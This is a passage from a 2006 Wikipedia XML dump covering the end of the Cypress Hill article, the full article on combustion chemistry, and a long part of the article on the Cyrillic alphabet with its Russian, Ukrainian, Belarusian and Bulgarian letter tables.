One of the band's most striking aspects is B-Real's exaggeratedly high-pitched nasal vocals, which fits and emphasizes the lyrics' concentration on parodied [[gangster]] stories (''pick it / pack it / fire it up / come along / and take a hit from the bong/ put the blunt down for a second / dont get me wrong its not a new method / inhale / exhale / just got an ounce in the mail'').

However, the sound and groove of their music, produced by Muggs, is also notable for its influence and stoned aesthetic. Members of Cypress Hill produced [[Urge Overkill]]'s 1993 album ''Saturation'' as the '''Butcher Bros'''.

{{section-stub}}

==Paintball==
Members of the group are also involved with the Division 2 NPPL paintball team, The Stoned Assassins, who are sponsored by paintball manufacturers Smarts Parts, JT and Chronic.  B-Real's music appears on the [[Xbox]] games ''[[Greg Hastings' Tournament Paintball]]'' and ''[[Greg Hastings Tournament Paintball MAX'D]]'' (developed by [[The Whole Experience]]).  B-Real is also a featured character in both GHTP games, and wrote a song for ''GHTP MAX'D'' entitled ''Play It For Real''. They also contributed towards the soundtrack for the first person shooter game 'Kingpin', set in a gangster &amp; rap environment, including three songs.

==Discography==

* ''[[Cypress Hill (album)| Cypress Hill]]'' (1991)
* ''[[Black Sunday (album) | Black Sunday]]'' (1993)
* ''[[Cypress Hill III: Temples of Boom]]'' (1995)
* ''[[Unreleased and Revamped]] EP'' (1996)
* ''[[IV (Cypress Hill album)|IV]]'' (1998)
* ''[[Los grandes éxitos en español]]'' (1999) (Greatest hits in Spanish)
* ''[[Skull &amp; Bones (album)| Skull &amp; Bones]]'' (2000)
* ''[[Live at the Fillmore (Cypress Hill album)| Live at the Fillmore]]'' (2000)
* ''[[Stoned Raiders]]'' (2001)
* ''[[Stash]]'' (2002)
* ''[[Till Death Do Us Part (album)|Till Death Do Us Part]]'' (2004)
* ''[[Greatest Hits From the Bong]]'' (2005)

==External links==
*[http://www.angelesrecords.com/ New record label Official website]
*[http://www.brealonline.com/ B Real Official website]
*[http://www.djmuggs.com/ Dj Muggs Official website]
*[http://www.ericbobo.com/ Eric Bobo Official website]
*{{AMG Artist|sql=Bfifwxq95ld6e|artist=Cypress Hill}}
*[http://www.discogs.com/artist/Cypress+Hill Cypress Hill] at [[Discogs]]
*[http://www.cypresshill.com/ Cypress Hill's official website]
*[http://www.bandnews.org/Cypress%20Hill/ Cypress Hill news]
*[http://www.hiponline.com/artist/music/c/cypress_hill/ Cypress Hill's entry on hip online]
*[http://www.bandhunt.com/artist_site/band.php/cy002/ Cypress Hill's entry on iSOUND.COM]
*[http://www.lyricsdir.com/cypress-hill-lyrics.html Cypress Hill Lyrics]
*[http://www.ghtp.net Greg Hastings Tournament Paintball MAX'D website]
*[http://www.cypresshill.org/pchst/index.html Official Polish Cypress Hill Street Team]

[[Category:American hip hop groups]]

[[de:Cypress Hill]]
[[als:Cypress Hill]]
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[[pl:Cypress Hill]]</text>
    </revision>
  </page>
  <page>
    <title>Combustion</title>
    <id>5638</id>
    <revision>
      <id>41946975</id>
      <timestamp>2006-03-02T20:36:02Z</timestamp>
      <contributor>
        <username>Rsteif</username>
        <id>1008537</id>
      </contributor>
      <text xml:space="preserve">''This article is about the chemical process. For the software, see [[Autodesk Combustion]]''.

'''Combustion''' or '''burning''' is a chemical process, an [[exothermic reaction]] between a substance (the [[fuel]]) and a gas (the [[oxidizer]]), usually O&lt;sub&gt;2&lt;/sub&gt;, to release [[heat]]. In a complete combustion reaction, a compound reacts with an oxidizing element, and the products are compounds of each element in the fuel with the oxidizing element. For example:

[[methane|CH&lt;sub&gt;4&lt;/sub&gt;]] + 2 [[oxygen|O&lt;sub&gt;2&lt;/sub&gt;]] &amp;rarr; [[carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]] + 2 [[water|H&lt;sub&gt;2&lt;/sub&gt;O]] + [[heat]]

[[methylene sulfide|CH&lt;sub&gt;2&lt;/sub&gt;S]] + 6 [[fluorine|F&lt;sub&gt;2&lt;/sub&gt;]] &amp;rarr; [[carbon tetrafluoride|CF&lt;sub&gt;4&lt;/sub&gt;]] + 2 [[hydrogen fluoride|HF]] + [[sulfur hexafluoride|SF&lt;sub&gt;6&lt;/sub&gt;]] + heat
==Rapid combustion==
Rapid combustion is a form of combustion in which large amounts of heat and [[light]] energy are released. This often occurs as a [[fire]].
This is used in forms of machinery, such as [[internal combustion engine]]s, and in [[thermobaric weapon]]s.

==Slower combustion==
Slow combustion is a form of combustion which takes place at low temperatures. [[Cellular respiration|Respiration]] is an example of slow combustion.

==Complete combustion==
In complete combustion, the reactant will burn in oxygen, producing a limited number of products. When a [[hydrocarbon]] burns in oxygen, the reaction will only yield carbon dioxide and water. When elements such as carbon, nitrogen, sulfur, and iron are burned, they will yield the most common oxides. Carbon will yield carbon dioxide. Nitrogen will yield [[nitrogen dioxide]]. Sulfur will yield [[sulfur dioxide]]. Iron will yield [[iron(III) oxide]]. Complete combustion is generally impossible to achieve unless the reaction occurs where conditions are carefully controlled (e.g. in a lab environment).

==Incomplete combustion==
In incomplete combustion there is an inadequate supply of oxygen for the combustion to occur completely. The reactant will burn in oxygen, but will produce numerous products. When a hydrocarbon burns in oxygen, the reaction will yield carbon dioxide, water, carbon monoxide, and various other compounds such as nitrogen oxides.  Incomplete combustion is much more common  and will produce large amounts of byproducts, and in the case of burning fuel in automobiles, these byproducts can be quite lethal and damaging to the environment.

==Chemical equation==
Generally, the [[chemical equation]] for burning a [[hydrocarbon]] (such as [[octane]]) in [[oxygen]] is as follows:
:C&lt;sub&gt;''x''&lt;/sub&gt;H&lt;sub&gt;''y''&lt;/sub&gt; + (''x'' + ''y''/4)O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; ''x''CO&lt;sub&gt;2&lt;/sub&gt; + (''y''/2)H&lt;sub&gt;2&lt;/sub&gt;O
For example, the burning of [[propane]] is:
:C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt; + 5O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; 3CO&lt;sub&gt;2&lt;/sub&gt; + 4H&lt;sub&gt;2&lt;/sub&gt;O

The simple word equation for the combustion of a [[hydrocarbon]] is:
:[[Fuel]] + [[Oxygen]] &amp;rarr; [[Heat]] + [[Water]] + [[Carbon dioxide]].

==Combustion of liquid fuels==
Combustion of a liquid fuel in an oxidizing atmosphere actually happens in the gas phase, i. e. it is the vapour that burns, not the liquid. Therfore, a liquid will normally catch fire only above a certain temperature, its [[flash point]].  Below that temperature the liquid will not evaporate fast enough to sustain the fire.&lt;!--THIS IS WHAT I  RECALL FROM MY CHEMISTRY CLASSES IN COLLEGE. WILL SOME EXPERT PLEASE CHECK?--&gt;

==Combustion of solid fuels==
The act of combustion consists of three relatively distinct but overlapping phases:
* '''Preheating phase''', when the unburned [[fuel]] is heated up to its flash point and then [[fire point]]. Flammable gases start being evolved in a process similar to [[dry distillation]].
* '''Distillation phase''' or '''gaseous phase''', when the mix of evolved flammable gases with [[oxygen]] is ignited. Energy is produced in the form of heat and light, [[flame]] is often visible.
* '''Charcoal phase''' or '''solid phase''', when the output of flammable gases from the material is too low for persistent presence of flame and the [[charring|charred]] fuel does not burn rapidly anymore but just glows and later only [[smouldering|smoulders]].

==Combustion temperatures==
Assuming perfect combustion conditions, such as an [[adiabatic]] (no heat loss) and complete combustion, the adiabatic combustion temperature can be determined. The formula that yields this temperature is based on the [[first law of thermodynamics]] and takes note of the fact that the [[heat of combustion ]] (calculated from the fuel's [[heating value]]) is used entirely for warming up fuel and gas (e.g. oxygen or air).

In the case of fossil fuels burnt in air, the combustion temperature depends on 
* the heating value
* the [[stoichiometric air ratio]] &lt;math&gt;{\lambda}&lt;/math&gt;
* the heat capacity of fuel and air
* air and fuel inlet temperatures

The adiabatic combustion temperature increases for higher heating values and inlet temperatures and stoiciometric ratios towards one.

Typically, the adiabatic combustion temperatures for coals are around 1500 °C (for inlet temperatures of room temperatures and &lt;math&gt;{\lambda = 1.0}&lt;/math&gt;), around 2000 °C for oil and 2200 °C for natural gas.

== Combustion Analysis ==
Combustion analysis is a process used to determine the composition of organic compounds.

==External links==
*[http://www25.brinkster.com/denshade/hydro.html Hydrocarbon combustion] Simple applet that illustrates the Chemical equation.
*[http://www.normanchigier.com/Fuel_Injection_email.html Fuel efficiency (stoichiometric air fuel mixture) vs. decreased emissions in combustion engines]

== See also ==
* [[Carbon dioxide]]
* [[Deflagration]]
* [[Detonation]]
* [[Fire]]
* [[Flue gas emissions from fossil fuel combustion]]
* [[Heat of combustion]]
* [[Phlogiston theory]] (historical)
* [[Pyrolysis]]
* [[Pyrophoric]]
* [[Smouldering]]
* [[Spontaneous combustion]]
* [[Stoichiometry]]
* Machines
** [[Cyclone furnace]]
** [[External combustion engine]]
** [[Internal combustion engine]]
** [[Rotary combustion engine]]
** [[Staged combustion cycle (rocket)]]
* Measurement techniques
** [[Calorimeter]]
** [[Coherent anti-Stokes Raman spectroscopy]] (CARS)
** [[Laser Doppler velocimetry]]
** [[Laser-induced fluorescence]]
** [[Particle image velocimetry]]
* Social applications and issues
** [[Cooking]]
** [[Global warming]]
** [[Immolation]]

[[Category:Combustion| ]]
[[Category:Chemical processes]]

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[[fr:Combustion]]
[[ko:연소]]
[[he:בעירה]]
[[it:Combustione]]
[[nl:Verbranding]]
[[ja:燃焼]]
[[pl:Spalanie]]
[[pt:Combustão]]
[[ru:Горение]]
[[fi:Palaminen]]
[[zh:燃烧]]</text>
    </revision>
  </page>
  <page>
    <title>Cyrillic alphabet</title>
    <id>5639</id>
    <revision>
      <id>41493611</id>
      <timestamp>2006-02-27T19:10:38Z</timestamp>
      <contributor>
        <username>Aeusoes1</username>
        <id>306522</id>
      </contributor>
      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">The '''Cyrillic alphabet''' (or ''azbuka'', from the old name of the first two letters) is an [[alphabet]] used to write six natural [[Slavic languages]] ([[Belarusian language|Belarusian]], [[Bulgarian language|Bulgarian]], [[Macedonian language|Macedonian]], [[Russian language|Russian]], [[Serbian language|Serbian]], and [[Ukrainian language|Ukrainian]]) and [[Languages using Cyrillic|many other languages]] of the former [[Soviet Union]], [[Asia]] and [[Eastern Europe]].  It has also been used for other languages in the past.

{{Cyrillic alphabet}}	 
{{alphabet}}

== Origins ==

The plan of the alphabet is derived from the [[early Cyrillic alphabet]], itself a derivative of the [[Glagolitic alphabet]], a [[ninth century]] [[uncial]] [[cursive]] usually credited to two brothers from [[Thessaloniki]], [[Saint Cyril]] and [[Saint Methodius]]. The glyphs in the Cyrillic alphabet are, however, mainly [[Byzantine Empire|Byzantine]] [[Greek alphabet|Greek letters]]. Some of them, especially those representing sounds that did not exist in medieval Greek, retain their Glagolitic forms.

Whereas it is widely accepted that the Glagolitic alphabet was invented by Saints Cyril and Methodius, the origins of the early Cyrillic alphabet are still a source of much controversy. Though it is usually attributed to Saint [[Clement of Ohrid]], a disciple of Saint Cyril and Saint Methodius, the alphabet is more likely to have developed at the [[Preslav Literary School]] in northeastern [[Bulgaria]], where the oldest Cyrillic inscriptions have been found, dating back to the [[940]]s. The theory is supported by the fact that the Cyrillic alphabet almost completely replaced the Glagolitic in northeastern Bulgaria as early as the end of the [[tenth century]], whereas the [[Ohrid Literary School]]—where Saint Clement worked—continued to use the Glagolitic until the [[twelfth century]].

Among the reasons for the replacement of the Glagolithic with the Cyrillic alphabet is the greater simplicity and ease of use of the latter and its closeness with the Greek alphabet, which had been well known in the [[First Bulgarian Empire]].

There are also other theories regarding the origins of the Cyrillic alphabet, namely that the alphabet was created by Saint Cyril and Saint Methodius themselves, or that it preceded the Glagolitic alphabet, representing a &quot;transitional&quot; stage between Greek and Glagolitic cursive, but these have been widely disproved. Although Cyril is almost certainly not the author of the Cyrillic alphabet, his contributions to the Glagolitic and hence to the Cyrillic alphabet are still recognised, as the latter is named after him.

The alphabet was disseminated along with the [[Old Church Slavonic]] [[liturgical language]], and the alphabet used for modern [[Church Slavonic language]] in [[Eastern Orthodox]] rites still resembles early Cyrillic. However, over the following ten centuries, the Cyrillic alphabet adapted to changes in spoken language, developed regional variations to suit the features of national languages, and was subjected to academic reforms and political decrees. Today, [[Languages using Cyrillic|dozens of languages]] in Eastern Europe and Asia are written in the Cyrillic alphabet.

== Letter-forms and typography ==
The development of Cyrillic [[typography]] passed directly from the [[medieval]] stage to the late [[Baroque]], without a [[Renaissance]] phase as in [[Western Europe]]. Late Medieval Cyrillic letters (still found on many [[icon]] inscriptions even today) show a marked tendency to be very tall and narrow; strokes are often shared between adjacent letters.

[[Peter I of Russia|Peter the Great]], tsar of Russia, mandated the use of westernized letter forms in the early eighteenth century; over time, these were largely adopted in the other languages that use the alphabet. Thus, unlike modern Greek fonts that retained their own set of design principles (such as the placement of [[serif]]s, the shapes of stroke ends, and stroke-thickness rules), modern Cyrillic fonts are much the same as modern Latin fonts of the same font family.  The development of some Cyrillic computer typefaces from Latin ones has also contributed to the visual Latinization of Cyrillic type.

Cyrillic [[Majuscule|uppercase]] and [[minuscule|lowercase]] letter-forms are not as differentiated as in Latin typography. Upright Cyrillic lowercase letters are essentially [[small capitals]] (with the exception of a few forms such as &quot;а&quot; and &quot;е&quot; which adopted Western lowercase shapes), although a good-quality Cyrillic typeface will still include separate small caps glyphs.

[[Image:Cyrillic upright-cursive.png|frame|right|Comparison of some upright and cursive letters (Ge, De, I, I kratko(ye), Em, Te and Tse. Top row is set in Georgia font, bottom in Kisty CY)]]

In the absence of [[Roman type|Roman]] and [[Italic type|Italic]] traditions, Cyrillic type fonts are properly classified as ''upright'' (Russian: ''pryamoi shrift'') and ''[[cursive]]'' (''kursivnyi''). Cursive or hand-written shapes of many letters, especially the lowercase letters, are entirely different from the upright shapes. As in Latin typography, a sans-serif face may have a mechanically-sloped oblique font (''naklonnyi'').

In Bulgarian, Macedonian, and Serbian, some cursive letters are different from those used in other languages. These cursive letter shapes are often used in upright fonts as well, especially for road signs, inscriptions, posters and the like, less so in newspapers or books. ''External link:'' [http://jankojs.tripod.com/SerbianCyr.htm Serbian Cyrillic Letters BE, GHE, DE, PE, TE].

The following table shows the differences between the upright and cursive Cyrillic letters as used in Russian. Cursive glyphs that are bound to confuse beginners (either because of an entirely different look, or because of being a [[false friend]] with an entirely different Latin character) are highlighted.

{| border=0 cellpadding=4 cellspacing=1 style=&quot;padding:0 .5em .2em; border:1px solid #999; margin:1em 0;&quot;
|+ align=bottom style=&quot;text-align:left; font-size:smaller; &quot; | In case your browser does not correctly support cursive Cyrillic forms, you can view [[commons:Image:Cyrillic-italics-nonitalics.png|an alternative graphical version]].
|- style=&quot;font-family:FreeSerif,Georgia,'Times New Roman','Nimbus Roman No9 L','Century Schoolbook L','Trebuchet MS','URW Bookman L','URW Chancery L','URW Palladio L',Arial,Teams,serif; font-size:large; text-align:center; &quot;
| а || б || в || г || д || е || ё || ж || з || и || й || к || л || м || н || о || п || р || с || т || у || ф || х || ц || ч || ш || щ || ъ || ы || ь || э || ю || я 
|- style=&quot;font-family:FreeSerif,Georgia,'Times New Roman','Nimbus Roman No9 L','Century Schoolbook L','Trebuchet MS','URW Bookman L','URW Chancery L','URW Palladio L',Arial,Teams,serif; font-size:large; text-align:center; &quot;
| ''а'' || ''б'' || ''в'' ||{{highlight1}}| ''г'' ||{{highlight1}}| ''д'' || ''е'' || ''ё'' || ''ж'' || ''з'' ||{{highlight1}}| ''и'' ||{{highlight1}}| ''й'' || ''к'' || ''л'' || ''м'' || ''н'' || ''о'' ||{{highlight1}}| ''п'' || ''р'' || ''с'' ||{{highlight1}}| ''т'' || ''у'' || ''ф'' || ''х'' || ''ц'' || ''ч'' || ''ш'' || ''щ'' || ''ъ'' || ''ы'' || ''ь'' || ''э'' || ''ю'' || ''я'' 
|}

''Reference:'' [[Robert Bringhurst|Bringhurst, Robert]] (2002). ''[[The Elements of Typographic Style]]'' (version 2.5), pp. 262–264. Vancouver, Hartley &amp; Marks. ISBN 0-88179-133-4.

== Romanization ==

There are various systems for [[Romanization]] of Cyrillic text, including [[transliteration]] to convey Cyrillic spelling in [[Latin]] characters, and [[transcription]] to convey [[pronunciation]].

Standard Cyrillic-to-Latin transliteration systems include:
* [[Scientific transliteration]], used in linguistics, is based on the Latin [[Croatian alphabet]].
* The [http://www.eki.ee/wgrs/ Working Group on Romanization Systems] of the [[United Nations]] recommends different systems for specific languages. These are the most commonly used around the world.
* [[ISO 9]]:1995, from the International Organization for Standardization.
* America Library Association &amp; Library of Congress (ALA-LC) [http://www.loc.gov/catdir/cpso/roman.html Romanization tables for Slavic alphabets], used in North American libraries.
* [[BGN/PCGN romanization]] (1947), United States Board on Geographic Names &amp; Permanent Committee on Geographical Names for British Official Use).
* [[GOST 16876-71]] (1983), from the Main Administration of Geodesy and Cartography of the former Soviet Union. Russian abbreviation of ''GOsudarstvenny STandart'', &quot;the State Standard&quot;. GOST has limited support for non-Russian alphabets.

Serbian is written in both Cyrillic and Latin alphabets. There is also a [[Lacinka alphabet|Latin alphabet for Belarusian]], and some non-Slavic languages, such as [[Azerbaijani language|Azerbaijani]], [[Uzbek language|Uzbek]] or [[Moldavian language|Moldavian]] have confronted permanent Romanization after the disintegration of the Soviet Union. In Serbian there is a one-to-one correspondence between [[Vuk Stefanovic Karadzic|Vuk Karadžić’s]] Serbian Cyrillic and [[Ljudevit Gaj|Ljudevit Gaj’s]] Croatian [[Croatian alphabet|Gajica]] (derived from the [[Czech alphabet]]. (See [[Serbo-Croatian language#Writing systems]].) The [[Belarusian]] Latin alphabet is traditionally based on Polish and is called [[Lacinka|Łacinka]], but, because of the political realities in the former USSR, Belarusian is usually Romanized by analogy to Russian.

See also:

* [[Romanization]]
* [[Romanization of Bulgarian]]
* [[Romanization of Russian]]
* [[Romanization of Ukrainian]]

External links:

* [http://transliteration.eki.ee/ Transliteration of Non-Roman Scripts], a collection of writing systems and transliteration tables, by Thomas T. Pederson. Includes PDF reference charts for many languages‘ transliteration systems.

== As used in various languages ==

Sounds are indicated using [[International Phonetic Alphabet|IPA]].
These are only approximate indicators.
While these languages by and large have [[phoneme|phonemic]] orthographies, there are occasional exceptions—for example, Russian ''его'' (meaning ''him/his''), which is pronounced {{IPA|/jevɔ/}} instead of {{IPA|/jeɡɔ/}}.

Note that spellings of names may vary, especially Y/J/I, but also GH/G/H and ZH/J.

=== Slavic languages ===

==== Old Church Slavonic ====

''Main article:'' [[early Cyrillic alphabet]]

[[Old Church Slavonic]] is the first literary and [[liturgy|liturgical]] [[Slavic language]] developed from the native language of the [[9th century]] [[missionaries]], Saints Cyril and Methodius. It is not the same as the modern [[Church Slavonic language]], which is still used in some [[Eastern Orthodox]] and [[Eastern Catholic]] church services.

As the Cyrillic alphabet spread throughout the Slavic world, it was adopted for writing local languages, such as [[Old Ruthenian]]. Its adaptation to the characteristics of local languages led to the development of its many modern variants, below.

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; class=&quot;Unicode&quot; summary=&quot;Letters of the Early Cyrillic alphabet&quot;
|+ style=&quot;font-size:smaller;&quot; | The Early Cyrillic alphabet
|-
| А || Б || В || Г || Д || Є || Ж || Ѕ || З || И || І, Ї 
|-
| К || Л || М || Н || О || П || Ҁ || Р || С || Т || Ѹ 
|-
| Ф || Х || Ѡ, Ѻ || Ц || Ч || Ш || Щ || Ъ || ЪІ || Ь || Ҍ
|-
| Ю || ІА || Ѧ || Ѩ || Ѫ || Ѭ || Ѯ || Ѱ || Ѳ || Ѵ || Ѥ 
|-
| Ѿ 
|}

Yeri (ЪІ) was originally a [[ligature (typography)|ligature]] of Yer and I. Ya (Я) was written in an archaic form called [[A iotified]]. Capital and lowercase letters were not distinguished in old manuscripts.

The early Cyrillic alphabet is difficult to represent on computers. Many of the letterforms differed from modern Cyrillic and varied a great deal in [[manuscript]]s, and changed over time. Few fonts include adequate [[glyph]]s to reproduce the alphabet. Some characters are missing from the current [[Unicode]] standard altogether, including Cyrillic dotless I, iotified [[Yat]], abbreviated [[Yer]] (&quot;Yerok&quot;), and many [[Ligature (typography)|ligatures]].

See also: [[Glagolitic alphabet]].

==== Russian ====

''Main article:'' [[Russian alphabet]]

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty-three letters of the Russian alphabet, capital and small&quot;
|+ style=&quot;font-size:smaller;&quot; | The Russian alphabet
|-
| [[A (Cyrillic)|А а]] || [[Be (Cyrillic)|Б б]] || [[Ve (Cyrillic)|В в]] || [[Ge (Cyrillic)|Г г]] || [[De (Cyrillic)|Д д]] || [[Ye (Cyrillic)|Е е]] || [[Yo (Cyrillic)|Ё ё]] || [[Zhe (Cyrillic)|Ж ж]] || [[Ze (Cyrillic)|З з]] || [[I (Cyrillic)|И и]] || [[Short I|Й й]]
|-
| [[Ka (Cyrillic)|К к]] || [[El (Cyrillic)|Л л]] || [[Em (Cyrillic)|М м]] || [[En (Cyrillic)|Н н]] || [[O (Cyrillic)|О о]] || [[Pe (Cyrillic)|П п]] || [[Er (Cyrillic)|Р р]] || [[Es (Cyrillic)|С с]] || [[Te (Cyrillic)|Т т]] || [[U (Cyrillic)|У у]] || [[Ef (Cyrillic)|Ф ф]]
|-
| [[Kha (Cyrillic)|Х х]] || [[Tse (Cyrillic)|Ц ц]] || [[Che (Cyrillic)|Ч ч]] || [[Sha|Ш ш]] || [[Shcha|Щ щ]] || [[Yer|Ъ ъ]] || [[Yery|Ы ы]] || [[Soft sign|Ь ь]] || [[E (Cyrillic)|Э э]] || [[Yu (Cyrillic)|Ю ю]] || [[Ya (Cyrillic)|Я я]]
|}

{| border=&quot;0&quot;
|-
! align=&quot;left&quot; | Capital&amp;nbsp; !! align=&quot;left&quot; | Small&amp;nbsp; !! align=&quot;left&quot; | Italic&amp;nbsp; !! align=&quot;left&quot; | Small italic&amp;nbsp; !! align=&quot;left&quot; | Name !! align=&quot;left&quot; | [[International Phonetic Alphabet|Sound]]
|-
| А || а|| ''А'' || ''а'' || A || {{IPA|/a/}}
|-
| Б || б || ''Б'' || ''б'' || Be || {{IPA|/b/}}
|-
| В || в || ''В'' || ''в'' || Ve || {{IPA|/v/}}
|-
| Г || г || ''Г'' || ''г'' || Ge || {{IPA|/ɡ/}}
|-
| Д || д || ''Д'' || ''д'' || De || {{IPA|/d/}}
|-
| Е || е || ''Е'' || ''е'' || Ye || {{IPA|/je/}}
|-
| Ё || ё || ''Ё'' || ''ё'' || Yo || {{IPA|/jo/}}
|-
| Ж || ж || ''Ж'' || ''ж'' || Zhe || {{IPA|/ʒ/}}
|-
| З || з || ''З'' || ''з'' || Ze || {{IPA|/z/}}
|-
| И || и || ''И'' || ''и'' || I || {{IPA|/i/}}
|-
| Й || й || ''Й'' || ''й'' || Short I || {{IPA|/j/}}
|-
| К || к || ''К'' || ''к'' || Ka || {{IPA|/k/}}
|-
| Л || л || ''Л'' || ''л'' || El || {{IPA|/l/}}
|-
| М || м || ''М'' || ''м'' || Em || {{IPA|/m/}}
|-
| Н || н || ''Н'' || ''н'' || En || {{IPA|/n/}}
|-
| О || о || ''О'' || ''о'' || O || {{IPA|/o/}}
|-
| П || п || ''П'' || ''п'' || Pe || {{IPA|/p/}}
|-
| Р || р || ''Р'' || ''р'' || Er || {{IPA|/r/}}
|-
| С || с || ''С'' || ''с'' || Es || {{IPA|/s/}}
|-
| Т || т || ''Т'' || ''т'' || Te || {{IPA|/t/}}
|-
| У || у || ''У'' || ''у'' || U || {{IPA|/u/}}
|-
| Ф || ф || ''Ф'' || ''ф'' || Ef || {{IPA|/f/}}
|-
| Х || х || ''Х'' || ''х'' || Kha || {{IPA|/x/}}
|-
| Ц || ц || ''Ц'' || ''ц'' || Tse || {{IPA|/ts/}}
|-
| Ч || ч || ''Ч'' || ''ч'' || Che || {{IPA|/tʃ/}}
|-
| Ш || ш || ''Ш'' || ''ш'' || Sha || {{IPA|/ʃ/}}
|-
| Щ || щ || ''Щ'' || ''щ'' || Shcha || {{IPA|/ʃʃ/}}
|-
| Ъ || ъ || ''Ъ'' || ''ъ'' || Hard Sign¹ || &amp;nbsp; || indicates no palatalisation²
|-
| Ы || ы || ''Ы'' || ''ы'' || Yery || {{IPA|/ɨ/}}
|-
| Ь || ь || ''Ь'' || ''ь'' || Soft Sign || {{IPA|/ʲ/}} || indicates palatalisation²
|-
| Э || э || ''Э'' || ''э'' || E || {{IPA|/ɛ/}}
|-
| Ю || ю || ''Ю'' || ''ю'' || Yu || {{IPA|/ju/}}
|-
| Я || я || ''Я'' || ''я'' || Ya || {{IPA|/ja/}}
|}

Notes:
# In the pre-reform [[Russian language|Russian]]  orthography, in [[Old Russian language|Old Russian]] and in [[Old Church Slavonic]] the letter is called [[yer]]. Historically, the &quot;hard sign&quot; takes the place of a now-absent [[vowel]], still preserved in [[Bulgarian language|Bulgarian]]. See the notes for Bulgarian.
# When an iotated vowel (vowel whose sound begins with {{IPA|/j/}}) follows a consonant, the consonant will become palatalised (the {{IPA|/j/}} sound will mix with the consonant), and the vowel’s initial {{IPA|/j/}} sound will not be heard independently. The Hard Sign will indicate that this does not happen, and the {{IPA|/j/}} sound will appear only in front of the vowel. The Soft Sign will indicate that the consonant should be palatised, but the vowel’s {{IPA|/j/}} sound will not mix with the [[palatalization]] of the consonant. The Soft Sign will also indicate that a consonant before another consonant or at the end of a word is palatised. Examples: та ({{IPA|ta}}); тя ({{IPA|tʲa}}); тья ({{IPA|tʲja}}); тъя ({{IPA|tja}}); т ({{IPA|t}}); ть ({{IPA|tʲ}}).

Historical letters: before [[1918]], there were four extra letters in use: {{Unicode|Іі}} (replaced by Ии), {{Unicode|Ѳѳ}} (Фита &quot;[[Fita]]&quot;, replaced by Фф), {{Unicode |Ѣѣ}} (Ять &quot;[[Yat]]&quot;, replaced by Ее), and {{Unicode |Ѵѵ}} (ижица &quot;[[Izhitsa]]&quot;, replaced by Ии); these were eliminated by [[reforms of Russian orthography]].

==== Ukrainian ====  

''Main article:'' [[Ukrainian alphabet]].

{{Ukrainian alphabet}}

[[Ukrainian language|Ukrainian]] differs from Russian in the following ways:
* [[He (Cyrillic) |He]] (Г, г) is a [[voiced]] [[fricative]] [[consonant]], pronounced {{IPA |/ɦ/}}.
* [[Ghe|Ge]] (Ґ, ґ) appears after He, pronounced {{IPA|/g/}}, i.e., like a Russian Г. It looks like He with an &quot;upturn&quot; pointing up from the right side of the top bar. (This letter was not officially used in the [[Soviet Union]] after 1933, so it is missing from older Cyrillic fonts.)
* [[Ye (Cyrillic) |E]] (Е, е) is pronounced {{IPA|/e/}} . 
* [[Ukrainian Ye|Ye]] (Є, є) appears after E, pronounced {{IPA|/je/}}. It looks like a mirrored Russian letter Э. 
* [[I (Cyrillic)|Y]] (И, и) is pronounced {{IPA|/ɪ/}} (similar to Russian [[Yery]]). 
* [[Ukrainian I|I]] (І, і) appears after Y, pronounced {{IPA|/i/}}. It looks like the Latin letter I.
* [[Yi (Cyrillic)|Yi]] (Ї, ї) appears after I, pronounced {{IPA|/ji/}}. It looks like I with a diaeresis above it (the same two dots that appear over the Russian letter Yo).
* [[Yot]] (Й, й) is the equivalent of Russian Short I. 
* [[Shcha]] (Щ, щ) is pronounced {{IPA|ʃʧ}}.
* An [[Apostrophe (mark) |apostrophe]] (’) serves the purpose of the Russian Hard Sign.
* [[Yo (Cyrillic) |Yo]] does not appear.

==== Belarusian ====

[[Belarusian language|Belarusian]] is also written in a Belarusian [[Latin alphabet]] (''[[Lacinka alphabet|Łacinka]]''). Historically, Belarusian [[Tatars]] have written the language in the [[Arabic alphabet]] (''Arabica''), and Belarusian [[Jew]]s in the [[Hebrew alphabet]].

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty-two letters of the Belarusian alphabet, capital and small&quot;
|+ style=&quot;font-size:smaller;&quot; | The Belarusian alphabet
|-
| А а || Б б || В в || Г г || Д д || Е е || Ё ё || Ж ж || З з || І і || Й й
|-
| К к || Л л || М м || Н н || О о || П п || Р р || С с || Т т || У у || Ў ў
|-
| Ф ф || Х х || Ц ц || Ч ч || Ш ш || Ы ы || Ь ь || Э э || Ю ю || Я я
|}

NB: Before 1933, Ґ ({{IPA|/g/}}) was also present. Some linguists call for restoring the letter.

Belarusian differs from Russian in the following ways:
* I looks like the Latin letter I (І, і). (But non-syllabic [[short I]] looks the same as in Russian.)
* Between U and Ef is the letter [[U short]] (Ў, ў), which looks like U (У) with a [[breve]] and pronounced {{IPA|/w/}}, or like the ''u'' part in [[diphthong]]s in ''now, low.''
* Shcha (Щ, щ) does not appear. A combination of sh and ch (ШЧ, шч) is typically used instead.
* The Hard Sign is not used. Its purpose (removing of palatalisation) is served by an apostrophe.
* The letter combinations Дж дж and Дз дз appear after Д д in the Belarusian alphabet in some publications. These [[digraph (orthography) |digraphs]] each represent a single sound: Дж {{IPA|/ʤ/}}, Дз {{IPA|/ʣ/}}.
* Г represents a [[voiced]] [[fricative]] [[consonant]].

=====External links=====
* [http://www.pravapis.org/art_belarusian_alphabet.asp Introduction to Belarusian Alphabet]
* [http://www.pravapis.org/art_lac1.asp Introduction to Belarusian Latin Script]
* [http://www.pravapis.org/art_kitab1_en.asp Belarusian language using Arabic script]
* [http://www.pravapis.org/art_letter_frequency.asp Letter Frequency in Belarusian and Russian]
* [http://www.pravapis.org/translator.asp Converter from Latin &quot;Translit&quot; into Cyrillics]

==== Bulgarian ====

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Twenty-nine letters of the Bulgarian alphabet, capital and small&quot;
|+ style=&quot;font-size:smaller;&quot; | The Bulgarian alphabet
|-
| А а || Б б || В в || Г г || Д д || Е е || Ж ж || З з || И и || Й й || К к
|-
| Л л || М м || Н н || О о || П п || Р р || С с || Т т || У у || Ф ф || Х х
|-
| Ц ц || Ч ч || Ш ш || Щ щ || Ъ ъ || Ь ь || Ю ю || Я я ||
|}

